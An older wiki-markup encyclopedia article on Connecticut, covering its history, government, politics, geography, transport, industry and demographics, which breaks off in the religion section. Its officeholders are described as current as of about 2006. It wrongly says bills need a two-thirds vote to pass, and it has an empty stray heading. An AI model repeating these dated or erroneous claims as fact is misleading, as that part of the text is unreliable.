The name &quot;Connecticut&quot; comes from the [[Mohegan]] Indian word &quot;Quinnehtukqut&quot; meaning &quot;Long River Place&quot; or &quot;Beside the Long Tidal River.&quot; Connecticut is the fifth of the original thirteen states. The first Europeans to settle permanently in Connecticut were English [[Puritan]]s from Massachusetts in 1633. Its first constitution, the &quot;[[Fundamental Orders of Connecticut|Fundamental Orders]],&quot; was adopted on [[January 14]], [[1639]], while its [[Connecticut Constitution|current constitution]], the third for Connecticut, was adopted in [[1965]]. The traditional abbreviation of the state's name is &quot;Conn.&quot; Connecticut's official nickname, adopted in 1959, is &quot;The Constitution State.&quot; Another popular nickname for Connecticut is &quot;The Nutmeg State,&quot; so a resident of Connecticut is known as a &quot;[[Nutmegger]].&quot;

The western boundaries of Connecticut have been subject to dramatic changes over time. According to a [[1650]] agreement with the [[Netherlands|Dutch]], the western boundary of Connecticut ran north from the west side of [[Greenwich Bay]] &quot;provided the said line come not within 10 miles of Hudson River.&quot; On the other hand, Connecticut's original Charter in [[1662]] granted it all the land to the &quot;South Sea,&quot; i.e. the Pacific Ocean. This probably added confusion to the early forefathers because the Pacific Ocean is located on the west coast of the United States. Agreements with New York, the &quot;[[Pennamite Wars]]&quot; with [[Pennsylvania]] over [[Westmoreland County, Connecticut|Westmoreland County]], followed by Congressional intervention, and the relinquishment and sale of the [[Western Reserve]] lands brought the state to its present boundaries.

== Law &amp; Government == 
[[Hartford, Connecticut|Hartford]] has been the sole capital of Connecticut since [[1875]]. Prior to that, [[New Haven, Connecticut|New Haven]] and Hartford alternated as capitals. Unlike most other states, Connecticut does not have [[county]] governments or [[county seat]]s; rather, there is only the state government and the governments of the local municipalities. The associated [[state marshal]] system, however, is still divided by county, the judicial system being divided, at the trial court level, into judicial districts, and, within those, geographical areas, and the [[list of Connecticut counties|eight counties]] are still widely used for purely geographical purposes, ''e.g.'' in [[weather report]]s. There are 169 incorporated cities and towns across the state. Most cities are coterminous with their namesake towns and have a merged city-town government. The two exception are the [[Groton (city), Connecticut| City of Groton]], which is a subsection of the [[Groton (town), Connecticut| Town of Groton]] and the [[Milford (town), Connecticut|City of Milford]], which is most, but not all, of the [[Milford, Connecticut|Town of Milford]]. There are also nine incorporated [[borough]]s, eight of which provide additional services to a section of town. One, [[Naugatuck]], is a consolidated town and borough.

The two U.S. senators representing Connecticut are [[Christopher J. Dodd]] (Democrat) and [[Joseph I. Lieberman]] (Democrat). Connecticut currently has five [[U.S. Congressional Delegations from Connecticut|representatives in the U.S. House]].

Once considered one of the most [[American conservatism|conservative]] states in the Northeast, the state now tends to vote Democratic for presidential and congressional elections. Connecticut has given its electoral votes to Democratic presidential candidates in the past four presidential elections. In [[U.S. presidential election, 2004|2004 election]], [[John Kerry]] had a comfortable margin of 10 percentage points with 54.3% of Connecticut's [[popular vote]]. George W. Bush had only won [[Litchfield County]] at a small margin. Connecticut Republicans tend to be more [[American liberalism|liberal]] than their counterparts in many other states. The majority of Republican senators voted in favor of the [[civil unions]] bill, which passed the General Assembly, and was signed into law in 2005. [[Christopher Shays]], a Republican representing Connecticut in the [[U.S. House of Representatives]], has sided with the Democrats on a range of issues including gun control, abortion, and the environment. [[Governor]] Jodi Rell and former governors [[John Rowland]] and [[Lowell Weicker]] have all been considered more liberal than most Republicans. Conversely, some state Democrats tend to be conservative or moderate, Senators [[Joe Lieberman]] and [[Christopher Dodd]] being the most notable cases.

The supreme executive power is vested in the Governor, who heads the executive branch. The current [[List of Governors of Connecticut|Governor of Connecticut]] is [[Excellency|Her Excellency]], [[M. Jodi Rell]] (Republican). There are several executive departments responsible for administering the laws of Connecticut, they are: Administrative Services, Agriculture, Children and Families, Correction, Education, Environmental Protection, Higher Education, Information Technology, Insurance, Labor, Military, Motor Vehicles, Public Health, Public Utility, Revenue Services, Social Services, Transportation, Veterans Affairs. In addition to these departments, there are many other independent bureaus, offices and commissions [http://www.ct.gov/ctportal/cwp/view.asp?a=843&amp;q=246450]. Historically, from 1639 until the adoption of the 1818 constitution, the Governor presided over the General Assembly.

The [[legislature]], referred to as the General Assembly, is a [[bicameral]] body consisting of an upper body, the Senate (36 senators); and a lower body, the House of Representatives (151 representatives). Before a bill can be signed into law, it must be passed by a vote of at least two thirds of each house. The Governor can veto the bill, but this veto can be overridden by a two-thirds majority in each house. Senators and Representatives, all of whom must be at least eighteen years of age, are elected to two-year terms in November on even-numbered years. The [[List of Lieutenant Governors of Connecticut|Lieutenant Governor]] presides over the senate, except when absent from the chamber, when the [[List of Presidents Pro Tempore of Connecticut|President Pro Tempore]] presides. The [[List of Speakers of the House of Connecticut|Speaker of the House]] presides over the House; [[James A. Amann]] is the current Speaker of the House of Connecticut. The [[Democratic Party (United States)|Democrats]] currently hold the majority in both houses of the General Assembly.

The highest [[court]] of Connecticut's judicial branch is the Supreme Court, headed by the Chief Justice of Connecticut. The Supreme Court is responsible for deciding on the constitutionality of the law or cases as they relate to the law. Its proceedings are similar to that of the United States Supreme Court, i.e., no testimony can be given by witnesses, and the lawyers of the two sides each present an oral argument no longer than thirty minutes. Following a court proceeding, the court may take several months to arrive at a judgment. The current [[List of Chief Justices of Connecticut|Chief Justice]] is William J. Sullivan. Historically, the highest court in Connecticut was the General Assembly, and later, the Upper House, with the Governor having the title &quot;Chief Judge&quot;. In 1818, the court became a separate entity, independent of the legislative and executive branches. Below the Supreme Court, are the Appellate Court, and the Superior Courts.

==Politics==
Connecticut is a solid blue-state, alloting its electoral votes (8 in 1992, 1996, and 2000; 7 in 2004) to Democratic candidates in the past four Presidential elections. While Connecticut is the wealthiest state in America per capita, its less affluent urban areas account for the majority of its registered voters; this along with its proximity to [[New York City]] and its typically socially-liberal suburban voters have made Connecticut a Democratic bastion. 

Republicans are the minority in the state legislature, but oddly enough they currently hold three of the five congressional seats. As of [[2006]], the two Senate seats from Connecticut are held by Democratic icons, [[Christopher Dodd]] and [[Joseph Lieberman]]. Connecticut's last [[Republican Party (United States)|Republican]] to serve in the US Senate was [[Lowell P. Weicker Jr]], who was a Senator from 1971-1989 when he was defeated by [[Joe Lieberman]]. Weicker was known as a liberal Republican, who served as Governor of Connecticut from 1991-1995 as a member of the independent [[A Connecticut Party]]. Weicker later supported [[Howard Dean]] in 2004 Presidential Election. Before Weicker, the last [[Republican Party (United States)|Republican]] to represent Connecticut in the Senate was [[Prescott Bush]] from 1953-1963. Bush is the father of former president [[George H.W. Bush]] and thus the grandfather of President [[George W. Bush]].

The state's only Republican stronghold is rural [[Litchfield County]] as well as some wealthy towns in [[Fairfield County]] near the [[New York State]] border. While [[Litchfield County]] supported [[George W. Bush]] in the [[2004 Presidential Election]], all other counties in Connecticut, including [[Fairfield County]](often referred to as the [[Gold Coast]]) voted for his opponent, Senator [[John Kerry]]. The suburban towns of [[New Canaan, Connecticut|New Canaan]] and [[Darien, Connecticut|Darien]] in [[Fairfield County]] are considered the most Republican areas in the state, and perhaps one of the most reliably conservative areas in [[New England]], the former being the hometown of conservative activist [[Ann Coulter]]. On the contrary, [[Westport]], a wealthy town on the same tier as New Canaan and Darien, is widely known as a liberal place, and one of the most loyally-Democratic towns in Fairfield County. Former first selectwoman of Westport, [[Diane Farrell]], a Democrat, ran for [[Christopher Shays]]' (a longtime incumbent Republican) congressional seat, and lost by only two percentage points in 2004. She is already campaigning to face him again in the next congressional election. 

Democrats are the majority almost everywhere else, especially in the cities of [[Hartford, Connecticut|Hartford]] (the state [[capital]]), [[New Haven, Connecticut|New Haven]] and [[Bridgeport, Connecticut|Bridgeport]], the largest cities in the state. The once Republican strongholds of [[Stamford, Connecticut|Stamford]] and [[Waterbury, Connecticut|Waterbury]] have become predominantly Democratic over the years, increasing their mandate in the state.

President [[George W. Bush]] was actually born in [[New Haven, Connecticut]] and lived there for a short time before moving to [[Texas]].
{{further|[[U.S. presidential election, 2004, in Connecticut]]}}

== Geography ==
Connecticut is bordered on the south by [[Long Island Sound]], on the west by [[New York State]], on the north by [[Massachusetts]], and on the east by [[Rhode Island]]. The state capital is [[Hartford, Connecticut|Hartford]], and the other major cities include [[New Haven, Connecticut|New Haven]], [[New London, Connecticut|New London]], [[Norwich, Connecticut|Norwich]], [[Stamford, Connecticut|Stamford]], [[Waterbury, Connecticut|Waterbury]], [[Torrington, Connecticut|Torrington]] and [[Bridgeport, Connecticut|Bridgeport]].  In all, there are a total of 169 [[incorporated town]]s in Connecticut.  There is an ongoing civic pride and economic competition between Hartford and New Haven, which stems back to the days when the two cities shared the state's capital, and even back to when New Haven and Hartford were two separate colonies.
[[image:Approaching Summit Again.JPG|left|thumb|100px|Bear Mountain, highest peak in Connecticut]]
[[image:Highest Point here.JPG|right|thumb|100px|Highest point in Connecticut on slope of Mount Frissell, as seen from Bear Mountain]] 
The highest peak in Connecticut is [[Bear Mountain]] in [[Salisbury, Connecticut|Salisbury]] in the northwest corner of the state. Once the location of a stone tower, currently a stone plaque alongside the [[Appalachian Trail]] identifies the point as &quot;the highest ground in Connecticut, 2354 feet above the sea&quot;; however, this is wrong on both counts. The current estimate of the height of the summit is only 2,316 feet; and although it '''is''' the highest '''peak''' in Connecticut, it is not actually the highest '''point''' in the state. That distinction belongs to an anonymous location a mile to the northwest and a quarter-mile east of the point where Connecticut, [[Massachusetts]], and [[New York]] meet (42° 3' N; 73° 29' W), on the southern slope of 2,453 foot high [[Mount Frissell]] whose peak lies 740 feet north in Massachusetts. Only a green metal stake set into a rock ledge marks this, the 2,372 foot (723 meters) high top of Connecticut. According to [http://peakbagger.com/peak.aspx?pid=7083 Peakbagger.com,] this makes Connecticut the only state whose highest point is not also its highest peak.

The Connecticut River cuts through the center of the state, flowing into Long Island Sound, Connecticut's outlet to the [[Atlantic Ocean]]. 
{{further|[[List of Connecticut rivers]]}}
[[image:False Inscription.JPG|thumb|left|100px|Erroneous inscription at summit of Bear Mountain]] 
The state, although small, has regional variations in its landscape and culture from the wealthy estates of Fairfield County's &quot;[[Gold Coast, Connecticut|Gold Coast]]&quot; to the rolling mountains and farms of the [[Litchfield Hills]] and the casinos of [[Southeastern Connecticut]]. Connecticut's rural areas and small towns in the northeast and northwest corners of the state contrast sharply with its industrial cities, located along the coastal highways from the New York border to New Haven, then northwards to Hartford, as well as further up the coast near New London. Many towns center around a small park, known as a &quot;green,&quot; ''e.g.'' [[New Haven Green]]. Near the green may stand a small white church, a town meeting hall, a tavern and several colonial houses. Forests, rivers, lakes, waterfalls and a sandy shore add to the state's beauty.

The northern boundary of the state with Massachusetts is marked by the distinctive [[Southwick Jog]], an approximately 2.5 mile square detour into Connecticut slightly west of the center of the border. Somewhat surprisingly, the actual origin of this anomaly is not absolutely certain, with stories ranging from surveyors who were drunk, attempting to avoid hostile Native Americans, or taking a shortcut up the Connecticut River; Massachusetts residents attempting to avoid Massachusetts' (even then) high taxes for the (even then) low taxes of Connecticut; Massachusetts' interest in the resources represented by the [[Congamond Lakes]] which lie on the border of the jog; and the need to compensate Massachusetts for an amount of land given to Connecticut due to inaccurate survey work.[http://www.southwickma.org/Public_Documents/F000102F9/S00476B50-00476B5B.0/The%20Southwick%20Jog.pdf] [http://www.cslib.org/jog.htm] [http://strsd.southwick.ma.us/woodland/teachers/bwhalley/childshistory/jog.htm] Perhaps the only suggested reason which can be safely ruled out is that the jog is necessary to prevent Massachusetts from sliding out into the [[Atlantic Ocean]]. In any event, the dispute over the border retarded the development of the region, since neither state would invest in even such basic amenities as schools for the area until the dispute had been settled.

The southwestern border of Connecticut, where it abuts New York State, is marked by a [[panhandle]] in [[Fairfield County]], containing [[Greenwich, Connecticut|Greenwich]], [[Stamford, Connecticut|Stamford]], [[New Canaan]], and [[Darien, Connecticut|Darien]], housing some of the wealthiest residents in the world. This irregularity in the boundary is the result of [[History of Connecticut#Territorial disputes|territorial disputes]] in the late [[1600s]], culminating with New York giving up its claim to this area, whose residents considered themselves part of Connecticut, in exchange for an equivalent area extending northwards from [[Ridgefield, Connecticut]] to the Massachusetts border as well as undisputed claim to [[Rye, New York]].[http://www.cslib.org/panhandle.htm]
{{further|[[Geology of Connecticut]]}}

===Regions of Connecticut===
[[Image:National-atlas-connecticut.png|right|thumb|300px|Connecticut]]
[[Image:Connecticut_population_map.png|right|thumb|300px|Connecticut Population Density Map]]
The state of Connecticut can be said to be sub-divided into eight general regions which generally correspond with the [[list of Connecticut counties|eight counties]] of the state, though there are differences in the boundaries. Each region boasts varied qualities which distinguish it within the state, and at times there are minor cultural frictions between the regions and their major cultural centers as each competes for tourists, new residents, and internal state pride. Fairfield County's &quot;[[Gold Coast, Connecticut|Gold Coast]]&quot; and towns west of Waterbury and New Haven, for example, are often derided by residents of the rest of the state as being more similar to [[New York]] than to [[New England]], and many of the residents go for years or even decades without ever traveling to other regions of the state, considering themselves more attached to [[New York City]] and its suburbs in eastern [[New York State]].

The eight regions of Connecticut are:
*[[Gold Coast, Connecticut|Gold Coast]] 
*[[Litchfield Hills]] 
*[[Naugatuck River Valley]] 
*[[Greater New Haven]]
*[[Greater Hartford]] 
*[[Lower Connecticut River Valley]] 
*The [[Quiet Corner (Connecticut)|Quiet Corner]]
*[[Southeastern Connecticut]]

===Transportation===
Transportation in Connecticut is predominantly via [[highway]]. [[Bradley International Airport]] (BDL) is located in the central part of the state (15 miles North of [[Hartford, Connecticut|Hartford]]). Another large airport mostly used by corporate executives is the Oxford Airport in western Connecticut. The airport is located 15 miles east of Danbury and 12 miles south of Waterbury. There is [[railway]] service along the coastline from [[New York City]] to [[Boston, Massachusetts|Boston]], including [[commuter rail]] service between [[New Haven, Connecticut|New Haven]] and New York and a new commuter service along the river north of New Haven, with spur service running northwards to cities such as Hartford. (In an episode of the American television show [[Miracles (tv)|Miracles]], the protagonist took a train from Boston directly to Hartford, causing Connecticut residents to joke that '''that''' would '''really''' have been a miracle.) [[Bus]] service is supplied by [[Connecticut Transit]], owned by the [[Connecticut Department of Transportation]]. In practice, most Connecticut residents find public transportation not fully adequate for all their needs and either own a private vehicle or have access to one. 

The [[glacier]]s carved valleys in Connecticut running north to south; as a result, many more roadways in the state run north to south than do east to west, mimicking the previous use of the many north-south rivers as transportation. The [[Interstate highway]]s in the state are [[I-95]] (the [[Connecticut Turnpike]]) running southwest to northeast along the coast, [[Interstate 84 (east)|I-84]] running southwest to northeast in the center of the state, [[I-91]] running north to south in the center of the state, and [[Interstate 395 (Connecticut)|I-395]] running north to south near the eastern border of the state. The other major interstate traffic arteries in Connecticut are the [[Merritt Parkway]] and [[Wilbur Cross Parkway]], which together form Connecticut State Route 15, running from the [[Hutchinson River Parkway]] in [[New York State]] parallel to I-95 before turning north of [[New Haven]] and running parallel to I-91, finally becoming a  surface road in [[Berlin, Connecticut]]. This road and I-95 were originally [[toll road]]s; they relied on a system of [[toll plaza]]s at which all traffic would stop and pay an incremental fare, rather than the alternative system of providing drivers a ticket where they entered the highway and charging them when they exited. A series of terrible crashes at these plazas eventually led to abandonment of the whole toll system in 1988. Other major arteries in the state include [http://www.nycroads.com/roads/CT-8/ State Routes 8 and 25] and [[U.S. Highway 7]].

I-95 from south of New Haven to the New York border is one of the most congested highways in the United States due to increasing population density, increasing business in the New York area, and a general increase in American driving, and the congestion spills over to clog the parallel Merritt Parkway. At rush hours, multiple backups tens of miles long are common, and the daily radio broadcasts of where crashes have completely blocked traffic are a fact of life for commuters in this area. As a result, commuter rail is also heavily crowded, along with parking facilities and traffic at the stations. Funds to relieve the situation, either by enhancing commuter rail, increasing highway capacity, or both, are lacking, and the problem is noted as one hindering further economic development for the state.

See [http://www.kurumi.com/roads/ct/index.html] for a very complete and in-depth discussion of Connecticut roadways, current, past, and future.

== Headline text ==
== Economy ==
[[Image:wiki_connecticut.jpg|thumb|350px|Greetings from Connecticut]]
The total [[gross state product]] for 2004 was $187 billion. The [[per capita income]] for 2004 was $55,398, ranking 1&lt;sup&gt;st&lt;/sup&gt; among the states [http://www.bea.doc.gov/bea/regional/statelocal.htm]. There is, however, a great disparity in incomes through the state; [[Connecticut locations by per capita income|although New Canaan has the highest per capita income in America, Hartford is one of the ten cities with the lowest per capita incomes in America]]. This is due to Fairfield County having become a [[bedroom community]] for higher paid [[New York City]] workers seeking a less urban lifestyle, as well as the spread of businesses outwards from New York City having reached into southwestern Connecticut, most notably to [[Stamford]]. The state did not have an [[income tax]] until [[1991]], making it an attractive haven for high earners fleeing the heavy taxes of [[New York State]], but putting an enormous burden on Connecticut [[property tax]] payers, particularly in the cities with their more extensive [[municipal services]]. As a result, the [[middle class]] largely fled the urban areas for the [[suburb]]s, taking stores and other tax-paying businesses with them, and leaving only the [[urban poor]] in the now impoverished Connecticut cities. As evident from the dichotomy in income figures described above, this problem has yet to be successfully solved. Exacerbating this problem, the state has a very high cost of living, due to a combination of expensive real estate, expensive heating for the winters, the need to import much food from warmer states, and the dependence on private automobiles for mobility. 

While Connecticut is home to four poor cities (Bridgeport, Hartford, New Haven and Waterbury), the state in general is extremely wealthy. Surrounding these four cities are some of the wealthiest areas on the globe, and many visitors of the state note the lack of middle class. This is due to the exodus of the middle class, as homes in the suburbs start around $450,000, and the further south in the state, the more expensive. In southern Connecticut, a three bedroom home on 1/4 acre will run about $1 million. Connecticut has the highest amount of million-dollar plus homes in the country.

The agricultural output for the state is [[Nursery (horticulture)|nursery stock]], [[egg (food)|eggs]], [[dairy product]]s, [[cattle]], and [[tobacco#shade tobacco|tobacco]]. Its industrial outputs are [[transport|transportation]] equipment (especially [[helicopters]], [[aircraft]] parts, and [[nuclear submarine]]s), heavy industrial machinery and electrical equipment, [[fabricated metal product]]s, [[chemical]] and [[pharmaceutical]] products, and [[scientific instrument]]s.

==History of Connecticut industry==
Connecticut began, as most communities at the time, as a [[farm]]ing economy. It rapidly developed trade and manufacturing as the farmers, and then the merchants and manufacturers themselves, became affluent enough to start buying things. Manufacturing was aided by a plenitude of resources, including water power, wood for fires and building material, and iron ore, while transportation benefited from several excellent natural harbors, and navigable rivers leading all the way to Massachusetts. As in most of New England, the residents believed that industry, in all senses of the word, not only strengthened individual moral fiber, but also served to make the colony independent and free to pursue its own religious and philosophical beliefs. While manual labor was valued, learning and study was also prized and many schools were founded, with [[Yale University]] the most significant. The development by [[Eli Whitney]] of the system of precision manufacturing of interchangeable parts and the [[assembly line]] in the late [[1700s]], however made Connecticut into a major center of manufacturing. This development changed &quot;made in the United States&quot; from a phrase connoting shoddy workmanship and expensive maintenance, into a world standard for high quality, and the entire system became known as the [[American system of manufacturing]].

Between [[1800]] and [[1860]], Connecticut manufacturers applied the system to the manufacture of economically priced high quality firearms, leading to Connecticut's nickname &quot;the [[arsenal]] of [[democracy]].&quot; [[Middletown, Connecticut]] was the major supplier of [[pistol]]s to the United States government during the [[War of 1812]], with numerous gun manufacturers in the area. In [[1810]], [[Oliver Bidwell]] built the first [[pistol]] factory in the United States on the [[Pameacha River]] in Middletown, winning a contract with the United States [[war department]] for handmade pistols. Also in 1810, Colonel [[Simeon North]] built a pistol factory in Middletown on the West River, now the [[Coginchaug River]], also winning a contract from the [[secretary of war]], which led to enlarging his factory to 8,500 square feet (790 m²); he built about 10,000 pistols a year, up until just before the [[American Civil War|Civil War]], designing America's first [[milling machine]]. Even more successful was Colonel [[Nathan Starr Jr.]], whose factory (built of stone quarried from the river) was about the same size as North's, and located across the river half a mile northeast. Starr initially manufactured [[sword]]s, about 5,000 a year; including presentation swords for the state of [[Tennessee]] and [[War of 1812]] heroes, colonel [[Richard M. Johnson]], General [[Edmond P. Gaines]], and General [[Andrew Jackson]]. The factory later manufactured [[musket]]s and rifles until [[1845]], after which the United States government started government [[Armory (military)|armories]] in [[Massachusetts]] and [[West Virginia]] partially modeled after Starr's. In [[1812]], [[John R. Johnson]] and [[J. D. Johnson]] built a factory, also on the Pameacha River, which was to sell rifles to the government until [[1825]]. After this period, firearm manufacturing declined in Middletown, but briefly revived during the Civil War. The [[Savage Revolving Fire Arm Company]] manufactured pistols between [[1859]] and [[1866]], and the [[Sage Ammunition Works]] manufactured ammunition between [[1864]] and [[1867]].

In [[1836]], [[Samuel Colt]] invented the [[revolver]] design which continues to be used to this day. [[Colt's Manufacturing Company]] hired [[Elisha K. Root]] to modernize production, making Colt weapons the first in the world with truly interchangeable parts. [[Horace Smith (inventor)|Horace Smith]] and [[Daniel B. Wesson]] designed the first [[repeating rifle]] in [[Norwich, Connecticut|Norwich]] in the early [[1850s]], which went into production by the [[New Haven Arms Company]] (which later became the [[Winchester Repeating Arms Company]]), and, just across the border in [[Massachusetts]], the [[Springfield Armory]]. Smith also patented a metallic rifle [[Cartridge (weaponry)|cartridge]] in [[1854]]. [[Christian Sharps]] designed the Sharps [[breech-loading]] rifle which in [[1854]] began to be manufactured in Hartford by the [[Sharps Rifle Manufacturing Company]]. [[Christopher Spencer]] designed the [[Spencer repeating rifle]] which played an important role for [[Union (American Civil War)|Union]] troops at the [[Battle of Gettysburg]].

Another area where precision manufacture led to industrial dominance for Connecticut was in the manufacture of [[clock]]s, [[watch]]es, and other [[timepiece]]s, by [[Eli Terry]] and his apprentice [[Seth Thomas]], the [[Forestville Manufacturing Company]] (which became the [[E. N. Welch Company]]), the [[New England Clock Company]], the [[Ansonia Clock Company]], [[Gilbert Clocks]], [[Ingraham Clocks]], the [[New Haven Clock Company]], [[Welch Clocks]], [[Sessions Clocks]], and the [[Waterbury Clock Company]], which became [[Timex Corporation]], and is the sole Connecticut survivor of this once flourishing field, now decimated by lower costs of production elsewhere, in the United States and overseas. The [[American Clock and Watch Museum]] is located in [[Bristol, Connecticut]].

Similarly, Connecticut industry became well known in allied fields. [[Hardware]] and [[tool]]s continue to be manufactured by [[Stanley Corporation]] in [[New Britain]], despite having almost moved elsewhere for financial reasons. Connecticut was a major area for development and manufacture of [[machine tool]]s. In [[1818]], [[Simeon North]] designed America's first [[milling machine]]. Machinist Elisha Root first designed machinery for the [[Collins Company]] of [[Collinsville]] which manufactured [[axe]]s which became world-famous, then was hired by Colt in [[1849]] to modernize firearm production by designing precision [[drop hammer]]s, [[boring machine]]s, [[gauge]]s, [[jig]]s, etc., and improving the milling machines designed by [[Francis A. Pratt]] for the [[George S. Lincoln]] company in Hartford; the resulting [[Lincoln Miller]] became world-famous, selling over 150,000 machines. Another Colt engineer, [[William Mason (Colt)|William Mason]], patented 125 inventions for manufacture of firearms, as well as steam pumps and power looms. [[Christopher Spencer]] invented the [[automatic lathe turret]] for machining screws, as well as the variable cam cylinder used to control the turret. [[Francis A. Pratt]] and [[Amos Whitney]] invented a thread milling machine in [[1865]]; Whitney also perfected various measurement instruments and Pratt designed the original milling machine manufactured by the [[George S. Lincoln]] company of Hartford. [[Simon Fairman]] invented the [[lathe chuck]] in [[West Stafford]] in [[1830]], and his son-in-law, [[Austin F. Cushman]], invented the self-centering [[Cushman Universal Chuck]] in [[1862]]. [[Edward P. Bullard]] designed the [[vertical boring mill]] in [[1883]]. [[Charles E. Billings]] perfected the [[drop hammer]] for [[metal forging]] in the [[1870s]] and designed the copper [[commutator]] central to the operation of electrical [[generator]]s and [[motor]]s. [[Edwin R. Fellows]] of [[Torrington]] designed the first [[flat turret lathe]], and in [[1896]] built a gear shaper which permitted the manufacture of effective and reliable gear transmissions for the soon-to-come automobile industry. The name [[Bridgeport]] on heavy [[industrial machinery]] continues to be a guarantee of high quality around the world, for people who have no idea that it is a city in Connecticut. Even the world of toys was dominated by the [[A. C. Gilbert Company]], manufacturers of [[Erector Set]]s as well as other educational toys such as [[chemistry set]]s, [[microscope]]s, [[toy train]]s, etc.

Another area of industry where Connecticut excelled was in [[bicycle]] manufacturing, and its spin-off, the earliest [[automobile manufacturing]]. [[Albert Pope]] of Hartford saw a bicycle in [[Philadelphia]] in [[1876]] and was immediately enthralled with the concept of an &quot;ever-saddled horse that eats nothing and requires no care.&quot; He subsequently began the first bicycle manufacturing in America, [[Columbia Bicycles]], and set about marketing the vehicle, setting up a system of distributorships with fixed prices, hiring doctors to tout cycling as healthy exercise, and founding cycling magazines. When the [[safety bicycle]] was developed in the [[1880s]], he was in a perfect position to benefit from the subsequent craze.

Connecticut also became an innovative leader in the [[shipbuilding]] industry. The first recorded [[steam power]]ed boat in America was built by [[South Windsor, Connecticut|South Windsor]]'s [[John Fitch (inventor)|John Fitch]] in [[1786]]. The first military [[submarine]], the [[Turtle (submarine)|Turtle]], was built in Connecticut in [[1775]] by [[David Bushnell]]; since then, Connecticut has remained a world leader in the manufacture of these specialized ships. [[Simon Lake]] produced submarines for the US Navy in Bridgeport, beginning in [[1913]], and the work done by [[John P. Holland]] led to submarine production by the [[Electric Boat Company]] in [[Groton, Connecticut|Groton]] beginning in [[1924]], which continues to this day.

In the late [[1700s]], the Connecticut government engaged in financial incentives for building and operating [[textile]] mills.

Between the birth of the U.S. [[patent]] system in [[1790]] and [[1930]], Connecticut had more patents issued per capita than any other state; in the [[1800s]], when the U.S. as a whole was issued one patent per three thousand population, Connecticut inventors were issued one patent for every 700&amp;ndash;1000 residents. Connecticut's first recorded invention was a [[lapidary]] machine, by [[Abel Buell]] of [[Killingworth]], in [[1765]].

The Connecticut Valley ([[Wethersfield]], [[East Windsor]], and [[Colchester]]) was a center of [[cabinetmaking]] and [[furniture]] construction in the latter half of the [[1700s]]. Beginning in the [[Queen Anne Style architecture|Queen Anne]] style, by the end of the period the furniture had evolved into four distinct variations of the [[Chippendale]] style; that of [[Eliphalet Chapin]], one of the masters of the craft, who tended to produce pieces which were more compact and chunky in appearance, incorporating some of the [[Philadelphia]] [[rococo]] style without as much fussiness; that of the [[Colchester, Connecticut|Colchester]]/[[Norwich, Connecticut|Norwich]] area, exemplified by [[Samuel Loomis]], as well as those of the [[Wethersfield]] and [[Springfield, Massachusetts|Springfield]]&amp;ndash;[[Northampton, Massachusetts|Northampton]] areas.

== Demographics ==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1790 || align=&quot;right&quot;| 237,946
|-
| align=&quot;center&quot;| 1800 || align=&quot;right&quot;| 251,002
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 261,942
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 275,248
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 297,675
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 309,978
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 370,792
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 460,147
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 537,454
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 622,700
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 746,258
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 908,420
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 1,114,756
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 1,380,631
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 1,606,903
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 1,709,242
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 2,007,280
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 2,535,234
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 3,031,709
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 3,107,576
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 3,287,116
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 3,405,565
|}

As of 2005, Connecticut has an estimated population of 3,510,297, which is an increase of 11,331, or 0.3%, from the prior year and an increase of 104,695, or 3.1%, since the year 2000.  This includes a natural increase since the last census of 67,427 people (that is 222,222 births minus 154,795 deaths) and an increase due to net migration of 41,718 people into the state.  Immigration from outside the United States resulted in a net increase of 75,991 people, and migration within the country produced a net loss of 34,273 people.

As of 2004, 11.4% of the population (400,000) was foreign-born, and 10% of the foreign-born in the state were illegal aliens (about 1.1% of the population).

=== Race / Ethnicity ===
The racial / ethnic makeup of Connecticut:
*77.5% [[White (people)|White]] non-Hispanic
*9.4% [[Hispanic]]
*9.1% [[Black (people)|Black]]
*2.4% [[Asian American|Asian]]
*0.3% [[Native Americans in the United States|Native American]]
*2.2% [[Mixed race]]

=== Languages ===
As of 2000, 81.7% of Connecticut residents age 5 and older speak [[English language|English]] at home and 8.4% speak [[Spanish language|Spanish]]. [[Italian language|Italian]] is the third most spoken language at 1.6%, followed by [[French language|French]] at 1.6% and [[Polish language|Polish]] at 1.2%.

=== Ancestry ===
The five largest reported ancestries in the state are: [[Italian-American|Italian]] (18.6%), [[Ireland|Irish]] (16.6%), [[British-American|English]] (10.3%), [[German-American|German]] (9.9%), [[African American]] (9.1%).

Connecticut has a large [[Italian-American]] population, although residents of British, Irish, German, and other ancestries are also present, with old-stock Americans being the largest percentage of the population in the eastern part of the state. Italian is the largest ancestry group in five of the state's counties, while the Irish are the largest group in Tolland county, French-Canadians the largest group in Windham county, and old stock New England Yankees are present throughout. Connecticut is the second most Italian-American state percentage-wise, after Rhode Island. Blacks and Hispanics (mostly Puerto Ricans) are numerous in the urban areas of the state.

6.6% of its population was reported as being under 5 years old, 24.7% under 18 years old, and 13.8% were 65 years of age or older. Females made up approximately 51.6% of the population, with 48.4% male.

=== Religion ===
The religious affiliations of the people of Connecticut are:

*[[Christianity|Christian]] &amp;ndash; 83%
